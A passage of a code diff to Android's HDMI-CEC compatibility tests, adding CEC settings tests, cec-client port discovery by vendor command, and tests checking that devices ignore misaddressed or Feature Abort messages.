+ HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+ return;
+ }
+ try {
+ for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+ HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+ mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(value);
+ assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+ value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(originalValue);
+ assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+ originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_SystemAudioModeMuting() throws Exception {
+ // Save original value
+ int originalValue = mHdmiControlManager.getSystemAudioModeMuting();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+ return;
+ }
+ try {
+ for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+ HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+ mHdmiControlManager.setSystemAudioModeMuting(value);
+ assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setSystemAudioModeMuting(originalValue);
+ assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(originalValue);
+ }
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 1e98316..37fe9fc 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -65,13 +65,16 @@
@Before
public void setUp() throws Exception {
+ ITestDevice device = getDevice();
+ CecVersionHelper.setCec14(device);
+
if (mDutLogicalAddress == LogicalAddress.UNKNOWN) {
mDutLogicalAddress = LogicalAddress.getLogicalAddress(getDumpsysLogicalAddress());
}
hdmiCecClient.setTargetLogicalAddress(mDutLogicalAddress);
boolean startAsTv =
mDutLogicalAddress.getDeviceType() != HdmiCecConstants.CEC_DEVICE_TYPE_TV;
- hdmiCecClient.init(startAsTv);
+ hdmiCecClient.init(startAsTv, getDevice());
}
/** Class with predefined rules which can be used by HDMI CEC CTS tests. */
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 809461b..0f720b0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -141,7 +141,7 @@
/** Assert for the DUT's physical address with the value passed from command line argument. */
public static void assertPhysicalAddressValid(String message, int expectedPhysicalAddress) {
int physicalAddress = getParams(message, HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
- assertThat(expectedPhysicalAddress).isEqualTo(physicalAddress);
+ assertThat(physicalAddress).isEqualTo(expectedPhysicalAddress);
}
private static String getNibbles(String message) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index b57794a..b926001 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -16,6 +16,7 @@
package android.hdmicec.cts;
+import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.util.RunUtil;
@@ -25,9 +26,9 @@
import java.io.BufferedWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
-import java.util.concurrent.TimeUnit;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.concurrent.TimeUnit;
import java.util.List;
import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
@@ -35,7 +36,6 @@
/** Class that helps communicate with the cec-client */
public final class HdmiCecClientWrapper extends ExternalResource {
- private static final String CEC_CONSOLE_READY = "waiting for input";
private static final int MILLISECONDS_TO_READY = 10000;
private static final int DEFAULT_TIMEOUT = 20000;
private static final int BUFFER_SIZE = 1024;
@@ -48,6 +48,7 @@
private LogicalAddress selfDevice = LogicalAddress.RECORDER_1;
private LogicalAddress targetDevice = LogicalAddress.UNKNOWN;
private String clientParams[];
+ private StringBuilder sendVendorCommand = new StringBuilder("cmd hdmi_control vendorcommand ");
public HdmiCecClientWrapper(String ...clientParams) {
this.clientParams = clientParams;
@@ -56,15 +57,96 @@
@Override
protected void after() {
this.killCecProcess();
- };
-
+ }
void setTargetLogicalAddress(LogicalAddress dutLogicalAddress) {
targetDevice = dutLogicalAddress;
}
+ List<String> getValidCecClientPorts() throws Exception {
+
+ List<String> listPortsCommand = new ArrayList();
+
+ listPortsCommand.add("cec-client");
+ listPortsCommand.add("-l");
+
+ List<String> comPorts = new ArrayList();
+ Process cecClient = RunUtil.getDefault().runCmdInBackground(listPortsCommand);
+ BufferedReader inputConsole =
+ new BufferedReader(new InputStreamReader(cecClient.getInputStream()));
+ while (cecClient.isAlive()) {
+ if (inputConsole.ready()) {
+ String line = inputConsole.readLine();
+ if (line.toLowerCase().contains("com port")) {
+ String port = line.split(":")[1].trim();
+ comPorts.add(port);
+ }
+ }
+ }
+ inputConsole.close();
+ cecClient.waitFor();
+
+ return comPorts;
+ }
+
+ boolean initValidCecClient(
+ ITestDevice device, List<String> clientCommands, List<String> comPorts)
+ throws Exception {
+ String serialNo = device.getProperty("ro.serialno");
+ String serialNoParam = CecMessage.convertStringToHexParams(serialNo);
+ /* formatParams prefixes with a ':' that we do not want in the vendorcommand
+ * command line utility.
+ */
+ serialNoParam = serialNoParam.substring(1);
+ /* Logic below needs to be consistent with the app, see
+ * hdmicec/app/src/android/hdmicec/app/HdmiControlManagerHelper.java
+ */
+ LogicalAddress toDevice =
+ (targetDevice == LogicalAddress.TV) ? LogicalAddress.PLAYBACK_1 : LogicalAddress.TV;
+ sendVendorCommand.append(" -t " + targetDevice.toString());
+ sendVendorCommand.append(" -d " + toDevice.toString());
+ sendVendorCommand.append(" -a " + serialNoParam);
+ for (String port : comPorts) {
+ List<String> launchCommand = new ArrayList(clientCommands);
+ launchCommand.add(port);
+ mCecClient = RunUtil.getDefault().runCmdInBackground(launchCommand);
+ mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+
+ /* Wait for the client to become ready */
+ if (checkConsoleOutput(
+ CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
+ try {
+ device.executeShellCommand(sendVendorCommand.toString());
+ String message = checkExpectedOutput(toDevice, CecOperand.VENDOR_COMMAND);
+ if (CecMessage.getAsciiString(message).equalsIgnoreCase(serialNo)) {
+ /* If no Exception was thrown, then we have received the message we were
+ * looking for.
+ */
+ mOutputConsole =
+ new BufferedWriter(
+ new OutputStreamWriter(mCecClient.getOutputStream()),
+ BUFFER_SIZE);
+ return true;
+ }
+ } catch (Exception e) {
+ /* Did not find the expected output, because we do not have a match with the
+ * port. Don't fail test, continue checking the other ports.
+ */
+ mInputConsole.close();
+ }
+ } else {
+ CLog.e("Console did not get ready!");
+ }
+ /* Kill the unwanted cec-client process. */
+ Process killProcess = mCecClient.destroyForcibly();
+ killProcess.waitFor();
+ launchCommand.remove(port);
+ }
+ return false;
+ }
+
/** Initialise the client */
- void init(boolean startAsTv) throws Exception {
+ void init(boolean startAsTv, ITestDevice device) throws Exception {
if (targetDevice == LogicalAddress.UNKNOWN) {
throw new IllegalStateException("Missing logical address of the target device.");
}
@@ -72,6 +154,7 @@
List<String> commands = new ArrayList();
commands.add("cec-client");
+
/* "-p 2" starts the client as if it is connected to HDMI port 2, taking the physical
* address 2.0.0.0 */
commands.add("-p");
@@ -83,20 +166,14 @@
}
commands.addAll(Arrays.asList(clientParams));
- mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
- mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+ List<String> comPorts = getValidCecClientPorts();
- /* Wait for the client to become ready */
mCecClientInitialised = true;
- if (checkConsoleOutput(CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
- mOutputConsole = new BufferedWriter(
- new OutputStreamWriter(mCecClient.getOutputStream()), BUFFER_SIZE);
- return;
+ if (!initValidCecClient(device, commands, comPorts)) {
+ mCecClientInitialised = false;
+
+ throw (new Exception("Could not initialise cec-client process"));
}
-
- mCecClientInitialised = false;
-
- throw (new Exception("Could not initialise cec-client process"));
}
private void checkCecClient() throws Exception {
@@ -141,7 +218,6 @@
CecOperand message, String params) throws Exception {
checkCecClient();
String sendMessageString = "tx " + source + destination + ":" + message + params;
- CLog.e("Sending message: " + sendMessageString);
mOutputConsole.write(sendMessageString);
mOutputConsole.newLine();
mOutputConsole.flush();
@@ -247,7 +323,7 @@
"(" + source + "\\p{XDigit}):(.*)",
Pattern.CASE_INSENSITIVE);
- while ((endTime - startTime <= duration)) {
+ while ((endTime - startTime <= (duration * 1000))) {
if (mInputConsole.ready()) {
String line = mInputConsole.readLine();
if (pattern.matcher(line).matches()) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java
new file mode 100644
index 0000000..e8f3b58
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.ddmlib.Log;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class HdmiControlManagerHostTest extends BaseHostJUnit4Test {
+
+ private static final String APK = "HdmiCecHelperApp.apk";
+ private static final String PACKAGE = "android.hdmicec.app";
+ private static final String FEATURE_HDMI_CEC = "android.hardware.hdmi.cec";
+
+ private boolean mHasFeature;
+
+ @Before
+ public void setUp() throws Exception {
+ mHasFeature = ApiLevelUtil.isAtLeast(getDevice(), 28) && hasDeviceFeature(FEATURE_HDMI_CEC);
+ assumeTrue("Skipping HdmiControlService tests for this device", mHasFeature);
+ }
+
+ private void runTest(String className) throws Exception {
+ runTest(className, null);
+ }
+
+ private void runTest(String className, String methodName) throws Exception {
+ String fullClassName = String.format("%s.%s", PACKAGE, className);
+
+ DeviceTestRunOptions deviceTestRunOptions = new DeviceTestRunOptions(PACKAGE)
+ .setTestClassName(fullClassName)
+ .setCheckResults(false);
+
+ if (methodName != null) {
+ deviceTestRunOptions.setTestMethodName(methodName);
+ }
+
+ Assert.assertTrue(
+ fullClassName + ((methodName != null) ? ("." + methodName) : "") + " failed.",
+ runDeviceTests(deviceTestRunOptions));
+ }
+
+ /** test HdmiControlManager */
+ @Test
+ public void testHdmiControlManager() throws Exception {
+ CLog.logAndDisplay(Log.LogLevel.INFO,
+ "HdmiControlManagerHostTest: running HdmiControlManagerTest");
+ runTest("HdmiControlManagerTest");
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index 9a2b844..e2b7bb7 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -103,64 +103,6 @@
}
/**
- * Test 12-1
- * Tests that the device ignores every broadcast only message that is received as
- * directly addressed.
- */
- @Test
- public void cect_12_1_BroadcastReceivedAsDirectlyAddressed() throws Exception {
- /* <Set Menu Language> */
- assumeTrue(isLanguageEditable());
- final String locale = getSystemLocale();
- final String originalLanguage = extractLanguage(locale);
- final String language = originalLanguage.equals("spa") ? "eng" : "spa";
- try {
- hdmiCecClient.sendCecMessage(
- LogicalAddress.TV,
- AUDIO_DEVICE,
- CecOperand.SET_MENU_LANGUAGE,
- CecMessage.convertStringToHexParams(language));
- assertThat(originalLanguage).isEqualTo(extractLanguage(getSystemLocale()));
- } finally {
- // If the language was incorrectly changed during the test, restore it.
- setSystemLocale(locale);
- }
- }
-
- /**
- * Test 12-2
- * Tests that the device ignores directly addressed message <GET_CEC_VERSION> if received as
- * a broadcast message
- */
- @Test
- public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_getCecVersion() throws Exception {
- hdmiCecClient.sendCecMessage(
- LogicalAddress.TV,
- LogicalAddress.BROADCAST,
- CecOperand.GET_CEC_VERSION);
- hdmiCecClient.checkOutputDoesNotContainMessage(
- LogicalAddress.TV,
- CecOperand.CEC_VERSION);
- }
-
- /**
- * Test 12-2
- * Tests that the device ignores directly addressed message <GIVE_PHYSICAL_ADDRESS> if received
- * as a broadcast message
- */
- @Test
- public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePhysicalAddress()
- throws Exception {
- hdmiCecClient.sendCecMessage(
- LogicalAddress.TV,
- LogicalAddress.BROADCAST,
- CecOperand.GIVE_PHYSICAL_ADDRESS);
- hdmiCecClient.checkOutputDoesNotContainMessage(
- LogicalAddress.BROADCAST,
- CecOperand.REPORT_PHYSICAL_ADDRESS);
- }
-
- /**
* Test 12-2
* Tests that the device ignores directly addressed message <GIVE_AUDIO_STATUS> if received as
* a broadcast message
@@ -178,55 +120,6 @@
/**
* Test 12-2
- * Tests that the device ignores directly addressed message <GIVE_POWER_STATUS> if received as
- * a broadcast message
- */
- @Test
- public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePowerStatus() throws Exception {
- hdmiCecClient.sendCecMessage(
- LogicalAddress.TV,
- LogicalAddress.BROADCAST,
- CecOperand.GIVE_POWER_STATUS);
- hdmiCecClient.checkOutputDoesNotContainMessage(
- LogicalAddress.TV,
- CecOperand.REPORT_POWER_STATUS);
- }
-
- /**
- * Test 12-2
- * Tests that the device ignores directly addressed message <GIVE_DEVICE_VENDOR_ID> if received
- * as a broadcast message
- */
- @Test
- public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveDeviceVendorId()
- throws Exception {
- hdmiCecClient.sendCecMessage(
- LogicalAddress.TV,
- LogicalAddress.BROADCAST,
- CecOperand.GIVE_DEVICE_VENDOR_ID);
- hdmiCecClient.checkOutputDoesNotContainMessage(
- LogicalAddress.BROADCAST,
- CecOperand.DEVICE_VENDOR_ID);
- }
-
- /**
- * Test 12-2
- * Tests that the device ignores directly addressed message <GIVE_OSD_NAME> if received as
- * a broadcast message
- */
- @Test
- public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveOsdName() throws Exception {
- hdmiCecClient.sendCecMessage(
- LogicalAddress.TV,
- LogicalAddress.BROADCAST,
- CecOperand.GIVE_OSD_NAME);
- hdmiCecClient.checkOutputDoesNotContainMessage(
- LogicalAddress.TV,
- CecOperand.SET_OSD_NAME);
- }
-
- /**
- * Test 12-2
* Tests that the device ignores directly addressed message <GIVE_SYSTEM_AUDIO_MODE_STATUS> if
* received as a broadcast message
*/
@@ -311,27 +204,4 @@
LogicalAddress.BROADCAST,
CecOperand.TERMINATE_ARC);
}
-
- /**
- * Test 12-2
- * Tests that the device ignores directly addressed message <USER_CONTROL_PRESSED> if received
- * as a broadcast message
- */
- @Test
- public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_userControlPressed()
- throws Exception {
- ITestDevice device = getDevice();
- // Clear activity
- device.executeShellCommand(CLEAR_COMMAND);
- // Clear logcat.
- device.executeAdbCommand("logcat", "-c");
- // Start the APK and wait for it to complete.
- device.executeShellCommand(START_COMMAND);
- hdmiCecClient.sendUserControlPressAndRelease(
- LogicalAddress.TV,
- LogicalAddress.BROADCAST,
- HdmiCecConstants.CEC_CONTROL_UP,
- false);
- LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
- }
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
new file mode 100644
index 0000000..6ecd5e3
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.CecVersionHelper;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** HDMI CEC tests related to {@code <Feature Abort>} */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecFeatureAbortTest extends BaseHdmiCecCtsTest {
+
+ private static final int TIMEOUT_SHORT_MILLIS = 1000;
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+
+ /**
+ * Test HF4-2-11
+ * Verify {@code <Feature Abort} message does not result in a {@code <Feature Abort>} response.
+ */
+ @Test
+ public void cect_hf4_2_11_featureAbortBehavior() throws Exception {
+ ITestDevice device = getDevice();
+ CecVersionHelper.setCec20(device);
+
+ List<Integer> abortReasons = Arrays.asList(
+ HdmiCecConstants.ABORT_UNRECOGNIZED_MODE,
+ HdmiCecConstants.ABORT_NOT_IN_CORRECT_MODE,
+ HdmiCecConstants.ABORT_CANNOT_PROVIDE_SOURCE,
+ HdmiCecConstants.ABORT_INVALID_OPERAND,
+ HdmiCecConstants.ABORT_REFUSED,
+ HdmiCecConstants.ABORT_UNABLE_TO_DETERMINE);
+
+ for (Integer abortReason : abortReasons) {
+ hdmiCecClient.sendCecMessage(LogicalAddress.RECORDER_1, mDutLogicalAddress,
+ CecOperand.FEATURE_ABORT, CecMessage.formatParams(abortReason));
+
+ hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.RECORDER_1,
+ CecOperand.FEATURE_ABORT, TIMEOUT_SHORT_MILLIS);
+ }
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
new file mode 100644
index 0000000..b36bcac
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogHelper;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
+
+/** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
+
+ private static final String PROPERTY_LOCALE = "persist.sys.locale";
+
+ /** The package name of the APK. */
+ private static final String PACKAGE = "android.hdmicec.app";
+
+ /** The class name of the main activity in the APK. */
+ private static final String CLASS = "HdmiCecKeyEventCapture";
+
+ /** The command to launch the main activity. */
+ private static final String START_COMMAND =
+ String.format(
+ "am start -W -a android.intent.action.MAIN -n %s/%s.%s",
+ PACKAGE, PACKAGE, CLASS);
+
+ /** The command to clear the main activity. */
+ private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+
+ private LogicalAddress source;
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain.outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+
+ private String getSystemLocale() throws Exception {
+ ITestDevice device = getDevice();
+ return device.executeShellCommand("getprop " + PROPERTY_LOCALE).trim();
+ }
+
+ private void setSystemLocale(String locale) throws Exception {
+ ITestDevice device = getDevice();
+ device.executeShellCommand("setprop " + PROPERTY_LOCALE + " " + locale);
+ }
+
+ private boolean isLanguageEditable() throws Exception {
+ String val = getDevice().executeShellCommand("getprop ro.hdmi.set_menu_language");
+ return val.trim().equals("true") ? true : false;
+ }
+
+ private static String extractLanguage(String locale) {
+ return locale.split("[^a-zA-Z]")[0];
+ }
+
+ @Before
+ public void setup() {
+ source =
+ (mDutLogicalAddress.equals(LogicalAddress.TV))
+ ? LogicalAddress.RECORDER_1
+ : LogicalAddress.TV;
+ }
+
+ /**
+ * Test 12-1
+ *
+ * <p>Tests that the device ignores every broadcast only message that is received as directly
+ * addressed.
+ */
+ @Test
+ public void cect_12_1_BroadcastReceivedAsDirectlyAddressed() throws Exception {
+ /* <Set Menu Language> */
+ assumeTrue("Language should be editable for this test", isLanguageEditable());
+ final String locale = getSystemLocale();
+ final String originalLanguage = extractLanguage(locale);
+ final String language = originalLanguage.equals("spa") ? "eng" : "spa";
+ try {
+ hdmiCecClient.sendCecMessage(
+ source,
+ mDutLogicalAddress,
+ CecOperand.SET_MENU_LANGUAGE,
+ CecMessage.convertStringToHexParams(language));
+ assertThat(originalLanguage).isEqualTo(extractLanguage(getSystemLocale()));
+ } finally {
+ // If the language was incorrectly changed during the test, restore it.
+ setSystemLocale(locale);
+ }
+ }
+
+ /**
+ * Test 12-2
+ *
+ * <p>Tests that the device ignores directly addressed message {@code <GET_CEC_VERSION>} if
+ * received as a broadcast message
+ */
+ @Test
+ public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_getCecVersion() throws Exception {
+ hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.GET_CEC_VERSION);
+ hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.CEC_VERSION);
+ }
+
+ /**
+ * Test 12-2
+ *
+ * <p>Tests that the device ignores directly addressed message {@code <GIVE_PHYSICAL_ADDRESS>}
+ * if received as a broadcast message
+ */
+ @Test
+ public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePhysicalAddress()
+ throws Exception {
+ hdmiCecClient.sendCecMessage(
+ source, LogicalAddress.BROADCAST, CecOperand.GIVE_PHYSICAL_ADDRESS);
+ hdmiCecClient.checkOutputDoesNotContainMessage(
+ LogicalAddress.BROADCAST, CecOperand.REPORT_PHYSICAL_ADDRESS);
+ }
+
+ /**
+ * Test 12-2
+ *
+ * <p>Tests that the device ignores directly addressed message {@code <GIVE_POWER_STATUS>} if
+ * received as a broadcast message
+ */
+ @Test
+ public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_givePowerStatus() throws Exception {
+ hdmiCecClient.sendCecMessage(
+ source, LogicalAddress.BROADCAST, CecOperand.GIVE_POWER_STATUS);
+ hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.REPORT_POWER_STATUS);
+ }
+
+ /**
+ * Test 12-2
+ *
+ * <p>Tests that the device ignores directly addressed message {@code <GIVE_DEVICE_VENDOR_ID>}
+ * if received as a broadcast message
+ */
+ @Test
+ public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveDeviceVendorId()
+ throws Exception {
+ hdmiCecClient.sendCecMessage(
+ source, LogicalAddress.BROADCAST, CecOperand.GIVE_DEVICE_VENDOR_ID);
+ hdmiCecClient.checkOutputDoesNotContainMessage(
+ LogicalAddress.BROADCAST, CecOperand.DEVICE_VENDOR_ID);
+ }
+
+ /**
+ * Test 12-2
+ *
+ * <p>Tests that the device ignores directly addressed message {@code <GIVE_OSD_NAME>} if
+ * received as a broadcast message
+ */
+ @Test
+ public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_giveOsdName() throws Exception {
+ hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.GIVE_OSD_NAME);
+ hdmiCecClient.checkOutputDoesNotContainMessage(source, CecOperand.SET_OSD_NAME);
+ }
+
+ /**
+ * Test 12-2
+ *
+ * <p>Tests that the device ignores directly addressed message {@code <USER_CONTROL_PRESSED>} if
+ * received as a broadcast message
+ */
+ @Test
+ public void cect_12_2_DirectlyAddressedReceivedAsBroadcast_userControlPressed()
+ throws Exception {
+ ITestDevice device = getDevice();
+ // Clear activity
+ device.executeShellCommand(CLEAR_COMMAND);
+ // Clear logcat.
+ device.executeAdbCommand("logcat", "-c");
+ // Start the APK and wait for it to complete.
+ device.executeShellCommand(START_COMMAND);
+ hdmiCecClient.sendUserControlPressAndRelease(
+ source, LogicalAddress.BROADCAST, HdmiCecConstants.CEC_CONTROL_UP, false);
+ LogHelper.assertLogDoesNotContain(getDevice(), CLASS, "Short press KEYCODE_DPAD_UP");
+ }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
new file mode 100644
index 0000000..1c3e85a
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
+
+ private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
+
+ @Rule
+ public RuleChain ruleChain =
+ RuleChain
+ .outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(hdmiCecClient);
+
+ /**
+ * Test 10.2.1-1, 10.2.3-1, 10.2.5-1
+ * <p>Tests that the device broadcasts a {@code <REPORT_PHYSICAL_ADDRESS>} after a reboot and
+ * that the device has taken the correct logical address.
+ */
+ @Test
+ public void cect_RebootLogicalAddress() throws Exception {
+ ITestDevice device = getDevice();
+ device.reboot();
